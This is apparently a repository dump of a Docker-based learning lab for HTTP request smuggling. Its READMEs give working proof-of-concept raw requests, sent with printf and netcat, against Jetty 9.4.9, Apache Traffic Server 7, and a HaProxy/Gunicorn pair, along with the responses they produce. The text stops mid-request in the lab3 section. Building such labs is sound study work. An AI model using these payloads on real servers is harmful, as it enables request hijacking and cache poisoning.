├── .gitignore ├── README.md ├── h2c └── README.md ├── jetty ├── Dockerfile ├── README.md ├── check.sh └── docker-compose.yml ├── lab1 ├── README.md ├── ats6.Dockerfile ├── ats7.Dockerfile ├── check.sh ├── docker-compose.yml ├── haproxy.Dockerfile └── nginx.Dockerfile ├── lab2 ├── README.md ├── ats7.Dockerfile ├── check.sh ├── docker-compose.yml ├── lamp.Dockerfile ├── lamp │ └── index.php ├── lnmp.Dockerfile └── lnmp │ └── index.php ├── lab3 ├── README.md ├── check.sh ├── docker-compose.yml ├── gunicorn.dockerfile ├── haproxy.dockerfile └── src │ └── app.py ├── nginx ├── Dockerfile ├── README.md ├── check.sh ├── conf.d │ └── default.conf └── docker-compose.yml └── websocket └── lab1 ├── README.md ├── apache.dockerfile ├── conf └── default.vcl ├── docker-compose.yml ├── exp └── exp.py ├── flask.dockerfile ├── img ├── img1.png └── img2.png ├── src ├── app.py ├── static │ └── socket.io.js ├── templates │ └── index.html └── websocket.html └── varnish.dockerfile /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HTTP-Smuggling-Lab 2 | 3 | HTTP-Smuggling-Lab is a lab for learning about the http request smuggling. 4 | 5 | ## Installation 6 | 7 | use docker-compose to build the lab in each directory. 8 | 9 | ## Usage 10 | 11 | Read the README.md in details in each directory. 12 | 13 | * In Lab1, we will chain some Reverse Proxy relations, Nginx will be the final backend, HaProxy the front load balancer, and between Nginx and HaProxy we will go through ATS6 or ATS7 based on the domain name used (dummy-host7.example.com for ATS7 and dummy-host6.example.com for ATS6). 14 | * Lab2 uses ATS as front server and uses LAMP and LNMP as backend servers. 15 | * Jetty is jetty v9.4.9. You will get more information in [Jetty-README](./jetty/README.md). 16 | * Websocket Lab is about the websocket http smuggling. You will get more information in [Websocket-README](./websocket/lab1/README.md). 17 | * HTTP/2 cleartext request smuggling please use this: [h2csmuggler](https://github.com/BishopFox/h2csmuggler) 18 | 19 | You can learn more in [Help you understand HTTP Smuggling in one article](https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/) or the chinese version [一篇文章带你读懂 HTTP Smuggling 攻击](https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/). 20 | 21 | ## Contributing 22 | Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. 23 | 24 | Please make sure to update tests as appropriate. 25 | 26 | Thanks to @regilero and mengchen@Knownsec 404 Team. 27 | 28 | ## License 29 | [MIT](https://choosealicense.com/licenses/mit/) -------------------------------------------------------------------------------- /h2c/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeddYu/HTTP-Smuggling-Lab/fb65480b304b01b74d227a8a4053b1e69ea172be/h2c/README.md -------------------------------------------------------------------------------- /jetty/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM jetty:9.4.9 2 | RUN mkdir /var/lib/jetty/webapps/root 3 | RUN bash -c 'set -ex \ 4 | && cd /var/lib/jetty/webapps/root \ 5 | && wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \ 6 | && unzip sample.war' 7 | EXPOSE 8080 8 | ENTRYPOINT ["/docker-entrypoint.sh"] 9 | CMD ["java","-jar","/usr/local/jetty/start.jar"] -------------------------------------------------------------------------------- /jetty/README.md: -------------------------------------------------------------------------------- 1 | # Jetty - Http Smuggling 2 | 3 | ## Composition 4 | 5 | jetty 9.4.9 6 | 7 | 8 | 9 | ## Usage 10 | 11 | Only for POC. 12 | 13 | ### build 14 | 15 | ```bash 16 | docker-compose up 17 | ``` 18 | 19 | The jetty server will on the port 9014. 20 | 21 | 22 | 23 | ### check 24 | 25 | ```bash 26 | $ chmod +x check.sh;./check.sh|grep HTTP 27 | HTTP/1.1 200 OK 28 | ``` 29 | 30 | 1 HTTP code 200 means all right! 31 | 32 | Enjoy! 33 | 34 | 35 | 36 | ### reproduce 37 | 38 | #### CVE-2017-7656 HTTP/0.9 39 | 40 | ```bash 41 | printf 'GET /?test=4564 HTTP/0.9\r\n\r\n'|nc -q 1 127.0.0.1 9014 42 | ``` 43 | 44 | You will get an http/0.9 response. No headers is right. HTTP/0.9 responses don't have headers. 45 | 46 | ```html 47 | 48 | 49 | Sample "Hello, World" Application 50 | 51 | 52 | 53 | 54 | 55 | 58 | 64 | 65 |
56 | 57 | 59 |

Sample "Hello, World" Application

60 |

This is the home page for a sample application used to illustrate the 61 | source directory organization of a web application utilizing the principles 62 | outlined in the Application Developer's Guide. 63 |

66 | 67 |

To prove that they work, you can execute either of the following links: 68 |

72 | 73 | 74 | 75 | ``` 76 | 77 | 78 | 79 | #### CVE-2017-7657 Chunk size attribute truncation 80 | 81 | ```bash 82 | printf 'POST /?test=4973 HTTP/1.1\r\n'\ 83 | 'Transfer-Encoding: chunked\r\n'\ 84 | 'Content-Type: application/x-www-form-urlencoded\r\n'\ 85 | 'Host: localhost\r\n'\ 86 | '\r\n'\ 87 | '100000000\r\n'\ 88 | '\r\n'\ 89 | 'POST /?test=4974 HTTP/1.1\r\n'\ 90 | 'Content-Length: 5\r\n'\ 91 | 'Host: localhost\r\n'\ 92 | '\r\n'\ 93 | '\r\n'\ 94 | '0\r\n'\ 95 | '\r\n'\ 96 | |nc 127.0.0.1 9014|grep "HTTP/1.1" 97 | ``` 98 | 99 | You will get two 200 codes. 100 | 101 | Try this: 102 | 103 | ```bash 104 | printf 'POST /?test=4975 HTTP/1.1\r\n'\ 105 | 'Transfer-Encoding: chunked\r\n'\ 106 | 'Content-Type: application/x-www-form-urlencoded\r\n'\ 107 | 'Host: localhost\r\n'\ 108 | '\r\n'\ 109 | '1ff00000008\r\n'\ 110 | 'abcdefgh\r\n'\ 111 | '\r\n'\ 112 | '0\r\n'\ 113 | '\r\n'\ 114 | 'POST /?test=4976 HTTP/1.1\r\n'\ 115 | 'Content-Length: 5\r\n'\ 116 | 'Host: localhost\r\n'\ 117 | '\r\n'\ 118 | '\r\n'\ 119 | '0\r\n'\ 120 | '\r\n'\ 121 | |nc -q 1 127.0.0.1 9014|grep "HTTP/1.1" 122 | ``` 123 | 124 | You will get two 200 codes, too. 125 | 126 | Jetty will cut the long size to short size. For example, the first time we tried, size is 100000000. It will be treated as 0. The second time we tried, size is 1ff00000008. It will be treated as 8. 127 | 128 | So both of these, we will get two responses. 129 | 130 | 131 | 132 | #### CVE-2017-7658 Double Content-Length 133 | 134 | ```bash 135 | printf 'GET /?test=4966 HTTP/1.1\r\n'\ 136 | 'Host: localhost\r\n'\ 137 | 'Connection: keepalive\r\n'\ 138 | 'Content-Length: 45\r\n'\ 139 | 'Content-Length: 0\r\n'\ 140 | '\r\n'\ 141 | 'GET /?test=4967 HTTP/1.1\r\n'\ 142 | 'Host: localhost\r\n'\ 143 | '\r\n'\ 144 | |nc 127.0.0.1 9014 145 | ``` 146 | 147 | We will get 148 | 149 | ``` 150 | HTTP/1.1 400 Duplicate Content-Length 151 | Content-Type: text/html;charset=iso-8859-1 152 | Content-Length: 67 153 | Connection: close 154 | Server: Jetty(9.4.9.v20180320) 155 | 156 |

Bad Message 400

reason: Duplicate Content-Length
157 | ``` 158 | 159 | But when we try this: 160 | 161 | ```bash 162 | printf 'GET /?test=4968 HTTP/1.1\r\n'\ 163 | 'Host: localhost\r\n'\ 164 | 'Connection: keepalive\r\n'\ 165 | 'Content-Length: 0\r\n'\ 166 | 'Content-Length: 45\r\n'\ 167 | '\r\n'\ 168 | 'GET /?test=4969 HTTP/1.1\r\n'\ 169 | 'Host: localhost\r\n'\ 170 | '\r\n'\ 171 | |nc 127.0.0.1 9014 172 | ``` 173 | 174 | We will get a 200 code. So let's smuggle. 175 | 176 | ```bash 177 | printf 'GET /?test=4970 HTTP/1.1\r\n'\ 178 | 'Host: localhost\r\n'\ 179 | 'Connection: keepalive\r\n'\ 180 | 'Content-Length: 0\r\n'\ 181 | 'Content-Length: 45\r\n'\ 182 | '\r\n'\ 183 | 'GET /?test=4971 HTTP/1.1\r\n'\ 184 | 'Host: localhost\r\n'\ 185 | '\r\n'\ 186 | 'GET /?test=4972 HTTP/1.1\r\n'\ 187 | 'Host: localhost\r\n'\ 188 | '\r\n'\ 189 | |nc 127.0.0.1 9014 190 | ``` 191 | 192 | We will get two 200 codes. 193 | 194 | 195 | 196 | # Reference 197 | 198 | https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc3 199 | 200 | https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/ -------------------------------------------------------------------------------- /jetty/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: localhost\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 9014 -------------------------------------------------------------------------------- /jetty/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | jetty9_4_9: 4 | image: jetty9_4_9 5 | build: 6 | context: . 7 | dockerfile: Dockerfile 8 | expose: 9 | - 8080 10 | ports: 11 | - "9014:8080" -------------------------------------------------------------------------------- /lab1/README.md: -------------------------------------------------------------------------------- 1 | # LAB1 2 | 3 | ## Composition 4 | 5 | 1.HaProxy 1.6 6 | 7 | 2.Apache Traffic Server 6.2.2 8 | 9 | 3.Apache Traffic Server 7.1.1 10 | 11 | 4.nginx:latest 12 | 13 | ``` 14 | +---[80]---+ 15 | | 8001->80 | 16 | | HaProxy | 17 | | | 18 | +--+---+---+ 19 | [dummy-host6.example.com] | | [dummy-host7.example.com] 20 | +-------+ +------+ 21 | | | 22 | +-[8080]-----+ +-[8080]-----+ 23 | | 8006->8080 | | 8007->8080 | 24 | | ATS6 | | ATS7 | 25 | | | | | 26 | +-----+------+ +----+-------+ 27 | | | 28 | +-------+-------+ 29 | | 30 | +--[80]----+ 31 | | 8002->80 | 32 | | Nginx | 33 | | | 34 | +----------+ 35 | ``` 36 | 37 | 38 | 39 | ## Usage 40 | 41 | ### build 42 | 43 | ```bash 44 | docker-compose up 45 | ``` 46 | 47 | 48 | 49 | ### check 50 | 51 | ```bash 52 | $ chmod +x check.sh;./check.sh|grep HTTP 53 | HTTP/1.1 200 OK 54 | HTTP/1.1 200 OK 55 | HTTP/1.1 200 OK 56 | HTTP/1.1 200 OK 57 | HTTP/1.1 200 OK 58 | HTTP/1.1 200 OK 59 | HTTP/1.1 200 OK 60 | HTTP/1.1 200 OK 61 | HTTP/1.1 200 OK 62 | ``` 63 | 64 | 9 HTTP code 200 means all right! 65 | 66 | Enjoy! 67 | 68 | 69 | 70 | # Reference 71 | 72 | https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc5 -------------------------------------------------------------------------------- /lab1/ats6.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | ENV TERM xterm-256color 3 | ENV container docker 4 | WORKDIR /tmp 5 | RUN yum clean all && yum update -y 6 | RUN yum install vim wget telnet bind-utils net-tools lsof pkgconfig libtool gcc gcc-c++ make \ 7 | openssl openssl-devel tcl tcl-devel pcre pcre-devel libcap libcap-devel \ 8 | flex hwloc hwloc-devel lua ncurses ncurses-devel curl libcurl-devel autoconf automake \ 9 | libunwind libunwind-devel bzip2 expat-devel -y 10 | RUN yum clean all && yum update -y 11 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-6.2.2.tar.bz2 12 | RUN tar -xvf trafficserver-6.2.2.tar.bz2 13 | WORKDIR /tmp/trafficserver-6.2.2 14 | RUN autoreconf -if 15 | RUN ./configure --prefix=/opt/ts \ 16 | && make -j4 \ 17 | && make check \ 18 | && make install \ 19 | && make distclean 20 | 21 | WORKDIR /tmp 22 | RUN rm -rf trafficserver-6.2.2* 23 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 24 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 25 | 26 | # activate reverse proxy 27 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 28 | 29 | RUN echo "map http://dummy-host6.example.com/ http://nginx/" > /etc/trafficserver/remap.config 30 | RUN echo "reverse_map http://nginx/ http://dummy-host6.example.com/" >> /etc/trafficserver/remap.config 31 | 32 | EXPOSE 8080 33 | 34 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 35 | -------------------------------------------------------------------------------- /lab1/ats7.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | ENV TERM xterm-256color 3 | ENV container docker 4 | WORKDIR /tmp 5 | RUN yum clean all && yum update -y 6 | RUN yum install vim wget telnet bind-utils net-tools lsof pkgconfig libtool gcc gcc-c++ make \ 7 | openssl openssl-devel tcl tcl-devel pcre pcre-devel libcap libcap-devel \ 8 | flex hwloc hwloc-devel lua ncurses ncurses-devel curl libcurl-devel autoconf automake \ 9 | libunwind libunwind-devel bzip2 expat-devel -y 10 | RUN yum clean all && yum update -y 11 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-7.1.1.tar.bz2 12 | RUN tar -xvf trafficserver-7.1.1.tar.bz2 13 | WORKDIR /tmp/trafficserver-7.1.1 14 | RUN autoreconf -if 15 | RUN ./configure --prefix=/opt/ts \ 16 | && make -j4 \ 17 | && make check \ 18 | && make install \ 19 | && make distclean 20 | 21 | WORKDIR /tmp 22 | RUN rm -rf trafficserver-7.1.1* 23 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 24 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 25 | 26 | # activate reverse proxy 27 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 28 | 29 | RUN echo "map http://dummy-host7.example.com/ http://nginx/" > /etc/trafficserver/remap.config 30 | RUN echo "reverse_map http://nginx/ http://dummy7-host.example.com/" >> /etc/trafficserver/remap.config 31 | 32 | EXPOSE 8080 33 | 34 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 35 | -------------------------------------------------------------------------------- /lab1/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host:dummy-host7.example.com\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 8002 6 | 7 | printf 'GET / HTTP/1.1\r\n'\ 8 | 'Host:dummy-host7.example.com\r\n'\ 9 | 'Connection: close\r\n'\ 10 | '\r\n'\ 11 | | nc 127.0.0.1 8007 12 | 13 | printf 'GET / HTTP/1.1\r\n'\ 14 | 'Host:dummy-host6.example.com\r\n'\ 15 | 'Connection: close\r\n'\ 16 | '\r\n'\ 17 | | nc 127.0.0.1 8006 18 | 19 | printf 'GET / HTTP/1.1\r\n'\ 20 | 'Host:dummy-host7.example.com\r\n'\ 21 | 'Connection: close\r\n'\ 22 | '\r\n'\ 23 | | nc 127.0.0.1 8001 24 | 25 | printf 'GET / HTTP/1.1\r\n'\ 26 | 'Host:dummy-host6.example.com\r\n'\ 27 | 'Connection: close\r\n'\ 28 | '\r\n'\ 29 | | nc 127.0.0.1 8001 30 | 31 | printf 'GET /?cache=1 HTTP/1.1\r\n'\ 32 | 'Host:dummy-host7.example.com\r\n'\ 33 | '\r\n'\ 34 | 'GET /?cache=2 HTTP/1.1\r\n'\ 35 | 'Host:dummy-host7.example.com\r\n'\ 36 | '\r\n'\ 37 | 'GET /?cache=3 HTTP/1.1\r\n'\ 38 | 'Host:dummy-host6.example.com\r\n'\ 39 | '\r\n'\ 40 | 'GET /?cache=4 HTTP/1.1\r\n'\ 41 | 'Host:dummy-host6.example.com\r\n'\ 42 | '\r\n'\ 43 | | nc 127.0.0.1 8001 -------------------------------------------------------------------------------- /lab1/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.9' 2 | services: 3 | haproxy: 4 | image: labhaproxy 5 | build: 6 | context: . 7 | dockerfile: haproxy.Dockerfile 8 | expose: 9 | - 80 10 | ports: 11 | - "8001:80" 12 | # links: 13 | # - ats7:linkedats7.net 14 | # - ats6:linkedats6.net 15 | depends_on: 16 | - ats7 17 | - ats6 18 | ats7: 19 | image: labats7 20 | build: 21 | context: . 22 | dockerfile: ats7.Dockerfile 23 | expose: 24 | - 8080 25 | ports: 26 | - "8007:8080" 27 | depends_on: 28 | - nginx 29 | # links: 30 | # - nginx:linkednginx.net 31 | ats6: 32 | image: labats6 33 | build: 34 | context: . 35 | dockerfile: ats6.Dockerfile 36 | expose: 37 | - 8080 38 | ports: 39 | - "8006:8080" 40 | depends_on: 41 | - nginx 42 | # links: 43 | # - nginx:linkednginx.net 44 | nginx: 45 | image: labnginx 46 | build: 47 | context: . 48 | dockerfile: nginx.Dockerfile 49 | expose: 50 | - 80 51 | ports: 52 | - "8002:80" 53 | -------------------------------------------------------------------------------- /lab1/haproxy.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM haproxy:1.6 2 | EXPOSE 80 3 | 4 | RUN echo 'defaults\n\ 5 | mode http\n\ 6 | option http-keep-alive\n\ 7 | timeout connect 5000\n\ 8 | timeout client 10000\n\ 9 | timeout server 10000\n\ 10 | \n\ 11 | frontend http-in\n\ 12 | bind *:80\n\ 13 | mode http\n\ 14 | default_backend ats7_vhost\n\ 15 | # define (virtual)hosts\n\ 16 | acl vhost6 hdr(host) -i dummy-host6.example.com\n\ 17 | acl vhost7 hdr(host) -i dummy-host7.example.com\n\ 18 | use_backend ats6_vhost if vhost6\n\ 19 | use_backend ats7_vhost if vhost7\n\ 20 | \n\ 21 | backend ats7_vhost\n\ 22 | mode http\n\ 23 | option forwardfor\n\ 24 | server ats7 ats7:8080\n\ 25 | \n\ 26 | backend ats6_vhost\n\ 27 | mode http\n\ 28 | option forwardfor\n\ 29 | server ats6 ats6:8080\n\ 30 | \n'> /usr/local/etc/haproxy/haproxy.cfg 31 | 32 | CMD ["haproxy", "-f", "/usr/local/etc/haproxy/haproxy.cfg"] 33 | -------------------------------------------------------------------------------- /lab1/nginx.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | RUN /bin/sh -c 'rm /etc/nginx/conf.d/default.conf || /bin/true' 4 | 5 | RUN echo 'Nginx default static page\n\ 6 |

Hello World

\n\ 7 |

It works!

\n\ 8 | ' > /usr/share/nginx/html/index.html 9 | 10 | RUN echo 'server {\n\ 11 | listen 80;\n\ 12 | server_name dummy-host.example.com;\n\ 13 | \n\ 14 | location / {\n\ 15 | root /usr/share/nginx/html;\n\ 16 | index index.html index.htm;\n\ 17 | add_header X-Location-echo $request_uri;\n\ 18 | add_header X-Default-VH 0;\n\ 19 | add_header Cache-Control "public, max-age=300";\n\ 20 | }\n\ 21 | \n\ 22 | # redirect server error pages to the static page /50x.html\n\ 23 | #\n\ 24 | error_page 500 502 503 504 /50x.html;\n\ 25 | location = /50x.html {\n\ 26 | root /usr/share/nginx/html;\n\ 27 | }\n\ 28 | }\n'> /etc/nginx/conf.d/vhost.conf 29 | -------------------------------------------------------------------------------- /lab2/README.md: -------------------------------------------------------------------------------- 1 | # LAB2 2 | 3 | ## Composition 4 | 5 | 1.Apache Traffic Server 7.1.2 6 | 7 | 2.mattrayner/lamp:latest-1804 8 | 9 | 3.fbraz3/lnmp:7.1 10 | 11 | ``` 12 | +---[8080]---+ 13 | | 9010->8080 | 14 | | ATS7 | 15 | | | 16 | +---+---+----+ 17 | [lamp.com] | | [lnmp.com] 18 | +-------+ +-------+ 19 | | | 20 | +---[80]-----+ +---[80]-----+ 21 | | 9011->80 | | 9012->80 | 22 | | LAMP | | LNMP | 23 | | | | | 24 | +-----+------+ +----+-------+ 25 | ``` 26 | 27 | 28 | 29 | LNMP index.php: 30 | 31 | ```php 32 | '; 34 | if (!function_exists('getallheaders')) { 35 | 36 | function getallheaders() { 37 | $headers = array(); 38 | foreach ($_SERVER as $name => $value) { 39 | if (substr($name, 0, 5) == 'HTTP_') { 40 | $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; 41 | } 42 | } 43 | return $headers; 44 | } 45 | 46 | } 47 | var_dump(getallheaders()); 48 | $data = file_get_contents("php://input"); 49 | print_r($data); 50 | ``` 51 | 52 | 53 | 54 | LAMP index.php: 55 | 56 | ```php 57 | '; 59 | var_dump(getallheaders()); 60 | $data = file_get_contents("php://input"); 61 | print_r($data); 62 | ``` 63 | 64 | 65 | 66 | ## Usage 67 | 68 | ### build 69 | 70 | ```bash 71 | docker-compose up 72 | ``` 73 | 74 | 75 | 76 | ### check 77 | 78 | ```bash 79 | $ chmod +x check.sh;./check.sh|grep HTTP 80 | HTTP/1.1 200 OK 81 | HTTP/1.1 200 OK 82 | HTTP/1.1 200 OK 83 | HTTP/1.1 200 OK 84 | ``` 85 | 86 | 4 HTTP code 200 means all right! 87 | 88 | Enjoy! 89 | 90 | 91 | 92 | ## POC 93 | 94 | ### First Patch 95 | 96 | https://github.com/apache/trafficserver/pull/3192 97 | 98 | > Return 400 if there is whitespace after the field name and before the colon 99 | 100 | Use burp or other tools to send this: 101 | 102 | ```http 103 | GET / HTTP/1.1 104 | Host: lnmp.com 105 | Content-Length : 47 106 | 107 | GET / HTTP/1.1 108 | Host: lnmp.com 109 | attack: 1 110 | foo: 111 | ``` 112 | 113 | You will get response like this. **If not, you should try one more time.** 114 | 115 | ```http 116 | HTTP/1.1 200 OK 117 | Server: ATS/7.1.2 118 | Date: Wed, 29 Apr 2020 10:50:00 GMT 119 | Content-Type: text/html; charset=UTF-8 120 | Age: 0 121 | Connection: keep-alive 122 | Content-Length: 385 123 | 124 | This is Nginx
array(7) { 125 | ["Via"]=> 126 | string(87) "http/1.1 27ae0e316043[40950c2a-a8ce-4ecb-8781-48ee331e5c8e] (ApacheTrafficServer/7.1.2)" 127 | ["X-Forwarded-For"]=> 128 | string(10) "172.21.0.1" 129 | ["Foo"]=> 130 | string(14) "GET / HTTP/1.1" 131 | ["Attack"]=> 132 | string(1) "1" 133 | ["Host"]=> 134 | string(14) "linkedlnmp.net" 135 | ["Content-Length"]=> 136 | string(0) "" 137 | ["Content-Type"]=> 138 | string(0) "" 139 | } 140 | 141 | ``` 142 | 143 | Explanation: https://paper.seebug.org/1049/#431-first-patch 144 | 145 | 146 | 147 | ### Second Patch 148 | 149 | https://github.com/apache/trafficserver/pull/3201 150 | 151 | > Close the connection when returning a 400 error response 152 | 153 | Use netcat to excute this. 154 | 155 | ```bash 156 | printf 'GET / HTTP/1.1\r\n'\ 157 | 'Host: lnmp.com\r\n'\ 158 | 'aa: \0GET /2333 HTTP/1.1\r\n'\ 159 | 'Host: lnmp.com\r\n'\ 160 | '\r\n'\ 161 | | nc 127.0.0.1 9010 162 | ``` 163 | 164 | You will get two 400 responses. 165 | 166 | Explanation: https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc8 167 | 168 | https://paper.seebug.org/1049/#432-second-patch 169 | 170 | 171 | 172 | ### Third Patch 173 | 174 | https://github.com/apache/trafficserver/pull/3231 175 | 176 | > 3231 Validate Content-Length headers for incoming requests 177 | 178 | Use burp or other tools to send this: 179 | 180 | ```http 181 | GET / HTTP/1.1 182 | Host: lnmp.com 183 | Content-Length:6 184 | Transfer-Encoding: chunked 185 | 186 | 0 187 | 188 | G 189 | ``` 190 | 191 | You will get response like this. **If not, you should try one more time.** 192 | 193 | ```http 194 | HTTP/1.1 405 Not Allowed 195 | Server: ATS/7.1.2 196 | Date: Wed, 29 Apr 2020 11:19:42 GMT 197 | Content-Type: text/html 198 | Content-Length: 182 199 | Age: 0 200 | Connection: keep-alive 201 | 202 | 203 | 405 Not Allowed 204 | 205 |

405 Not Allowed

206 |
nginx/1.14.0 (Ubuntu)
207 | 208 | 209 | ``` 210 | 211 | 212 | 213 | ### Fourth Patch 214 | 215 | https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc10 216 | 217 | https://paper.seebug.org/1049/#434-fourth-patch 218 | 219 | 220 | 221 | # Reference 222 | 223 | https://paper.seebug.org/1049/#42-test-environment -------------------------------------------------------------------------------- /lab2/ats7.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM phusion/baseimage:master 2 | RUN apt update 3 | RUN apt-get install -y wget curl build-essential software-properties-common autoconf automake libtool bzip2 libffi-dev gcc g++ openssl libssl-dev tcl-dev libpcre3 libpcre3-dev libcap-dev lua5.3 libncurses5-dev make 4 | 5 | # RUN yum clean all 6 | # RUN wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 7 | # RUN yum update -y && yum makecache 8 | WORKDIR /tmp 9 | RUN wget http://archive.apache.org/dist/trafficserver/trafficserver-7.1.2.tar.bz2 10 | RUN tar -xvf trafficserver-7.1.2.tar.bz2 11 | WORKDIR /tmp/trafficserver-7.1.2 12 | RUN autoreconf -if 13 | RUN ./configure --prefix=/opt/ts \ 14 | && make -j4 \ 15 | && make check \ 16 | && make install \ 17 | && make distclean 18 | 19 | WORKDIR /tmp 20 | RUN rm -rf trafficserver-7.1.2* 21 | RUN ln -s /opt/ts/etc/trafficserver /etc/trafficserver || /bin/true 22 | RUN ln -s /opt/ts/bin/trafficserver /etc/init.d/trafficserver || /bin/true 23 | 24 | # activate reverse proxy 25 | RUN sed -i 's/CONFIG proxy.config.reverse_proxy.enabled INT 0/CONFIG proxy.config.reverse_proxy.enabled INT 1/g' /etc/trafficserver/records.config 26 | RUN sed -i 's/CONFIG proxy.config.url_remap.remap_required INT 0/CONFIG proxy.config.url_remap.remap_required INT 1/g' /etc/trafficserver/records.config 27 | RUN sed -i 's/CONFIG proxy.config.http.cache.http INT 1/CONFIG proxy.config.http.cache.http INT 0/g' /etc/trafficserver/records.config 28 | 29 | 30 | RUN echo "map http://lnmp.com/ http://lnmp/" > /etc/trafficserver/remap.config 31 | RUN echo "map http://lamp.com/ http://lamp/" >> /etc/trafficserver/remap.config 32 | 33 | EXPOSE 8080 34 | 35 | ENTRYPOINT ["/opt/ts/bin/traffic_cop"] 36 | -------------------------------------------------------------------------------- /lab2/check.sh: -------------------------------------------------------------------------------- 1 | printf 'GET / HTTP/1.1\r\n'\ 2 | 'Host: lnmp.com\r\n'\ 3 | 'Connection: close\r\n'\ 4 | '\r\n'\ 5 | | nc 127.0.0.1 9012 6 | 7 | printf 'GET / HTTP/1.1\r\n'\ 8 | 'Host: lamp.com\r\n'\ 9 | 'Connection: close\r\n'\ 10 | '\r\n'\ 11 | | nc 127.0.0.1 9011 12 | 13 | printf 'GET / HTTP/1.1\r\n'\ 14 | 'Host: lnmp.com\r\n'\ 15 | 'Connection: close\r\n'\ 16 | '\r\n'\ 17 | | nc 127.0.0.1 9010 18 | 19 | printf 'GET / HTTP/1.1\r\n'\ 20 | 'Host: lamp.com\r\n'\ 21 | 'Connection: close\r\n'\ 22 | '\r\n'\ 23 | | nc 127.0.0.1 9010 -------------------------------------------------------------------------------- /lab2/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.9' 2 | services: 3 | ats7: 4 | image: labats7 5 | build: 6 | context: . 7 | dockerfile: ats7.Dockerfile 8 | expose: 9 | - 8080 10 | ports: 11 | - "9010:8080" 12 | depends_on: 13 | - lnmp 14 | - lamp 15 | lamp: 16 | image: lablamp 17 | build: 18 | context: . 19 | dockerfile: lamp.Dockerfile 20 | expose: 21 | - 80 22 | ports: 23 | - "9011:80" 24 | lnmp: 25 | image: lablnmp 26 | build: 27 | context: . 28 | dockerfile: lnmp.Dockerfile 29 | expose: 30 | - 80 31 | ports: 32 | - "9012:80" 33 | -------------------------------------------------------------------------------- /lab2/lamp.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache-buster 2 | 3 | COPY ./lamp/index.php /var/www/html/index.php 4 | 5 | EXPOSE 80 -------------------------------------------------------------------------------- /lab2/lamp/index.php: -------------------------------------------------------------------------------- 1 | '; 3 | var_dump(getallheaders()); 4 | $data = file_get_contents("php://input"); 5 | print_r($data); -------------------------------------------------------------------------------- /lab2/lnmp.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM wyveo/nginx-php-fpm:php74 2 | 3 | COPY lnmp/index.php /usr/share/nginx/html/index.php 4 | 5 | EXPOSE 80 6 | -------------------------------------------------------------------------------- /lab2/lnmp/index.php: -------------------------------------------------------------------------------- 1 | '; 3 | if (!function_exists('getallheaders')) { 4 | 5 | function getallheaders() { 6 | $headers = array(); 7 | foreach ($_SERVER as $name => $value) { 8 | if (substr($name, 0, 5) == 'HTTP_') { 9 | $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; 10 | } 11 | } 12 | return $headers; 13 | } 14 | 15 | } 16 | var_dump(getallheaders()); 17 | $data = file_get_contents("php://input"); 18 | print_r($data); -------------------------------------------------------------------------------- /lab3/README.md: -------------------------------------------------------------------------------- 1 | # LAB3 2 | 3 | ## Composition 4 | 5 | 1.HaProxy 2.0 6 | 7 | 2.Gunicorn 20.0.4 8 | 9 | ## Usage 10 | 11 | ### build 12 | 13 | ```bash 14 | docker-compose up 15 | ``` 16 | 17 | ### check 18 | 19 | ```bash 20 | $ chmod +x check.sh;./check.sh|grep HTTP 21 | HTTP/1.1 200 OK 22 | HTTP/1.1 200 OK 23 | ``` 24 | 25 | 9 HTTP code 200 means all right! 26 | 27 | Enjoy! 28 | 29 | ### POC 30 | ```bash 31 | printf 'POST / HTTP/1.1\r\n'\ 32 | 'Host: localhost\r\n'\ 33 | 'Transfer-Encoding:\x0b chunked\r\n'\ 34 | 'Connection:keep-alive\r\n'\ 35 | 'Content-Length: 